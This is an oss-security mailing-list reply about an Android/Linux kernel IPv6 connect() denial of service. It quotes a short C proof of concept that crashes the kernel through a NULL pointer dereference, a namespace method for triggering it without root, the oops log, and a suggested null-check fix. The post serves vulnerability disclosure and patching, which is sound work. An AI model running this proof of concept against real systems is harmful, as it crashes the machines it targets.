Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Wed, 9 Dec 2015 16:37:26 +0100
From: Robert Święcki <robert@...ecki.net>
To: oss-security@...ts.openwall.com
Subject: Re: CVE request - Android kernel - IPv6 connect cause
 a denial of service

This also works under modern Linux kernels - and the SOCK_RAW socket can be
created with namespaces.

$ ~/src/nsjail/nsjail -Mo --user 0 --group 0 --keep_caps --chroot / --
/bin/sh -i
sh-4.3# /home/test/a

[  513.294978] BUG: unable to handle kernel NULL pointer dereference at
      (null)
[  513.294990] IP: [<          (null)>]           (null)
[  513.294995] PGD 70579e067 PUD 70e0f7067 PMD 0
[  513.295001] Oops: 0010 [#2] SMP

Tested with:

$ uname -a
Linux ABC 4.2.0-18-generic #22~14.04.1-Ubuntu SMP Fri Nov 6 22:20:11 UTC
2015 x86_64 x86_64 x86_64 GNU/Linux


2015-12-09 11:15 GMT+01:00 郭永刚 <guoyonggang@....cn>:

>
> POC:
> #include <linux/types.h>
> #include <stdlib.h>
> #include <stdio.h>
> #include <sys/stat.h>
> #include <fcntl.h>
> #include <errno.h>
> #include <pthread.h>
> #include <sys/socket.h>
> #include <sys/un.h>
> #include <netinet/in.h>
> int main(void){
>
>          int socket_fd;
>          struct sockaddr_in addr;
>          addr.sin_port = 0;
>          addr.sin_addr.s_addr = INADDR_ANY;
>          addr.sin_family = 10;
>
>          socket_fd = socket(10,3,0x40000000);
>          connect(socket_fd , &addr,16);
>
>          return 0;
>
> }
>
> Analysis of causes:
> In the file net/ipv4/af_inet.c , It will cause pc is 0x0  , if the
> sk->sk_prot->get_port is NULL.
> static int inet_autobind(struct sock *sk)
> {
>          struct inet_sock *inet;
>          /* We may need to bind the socket. */
>          lock_sock(sk);
>          inet = inet_sk(sk);
>          if (!inet->inet_num) {
>                    if (sk->sk_prot->get_port(sk, 0)) {
>                             release_sock(sk);
>                             return -EAGAIN;
>                    }
>                    inet->inet_sport = htons(inet->inet_num);
>          }
>          release_sock(sk);
>          return 0;
> }
>
> Solution:
>
>          Add check as follow:
>                   if (sk->sk_prot->get_port &&sk->sk_prot->get_port(sk,
> 0)) {
>                             release_sock(sk);
>                             return -EAGAIN;
>                    }
>
>


-- 
Robert Święcki

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.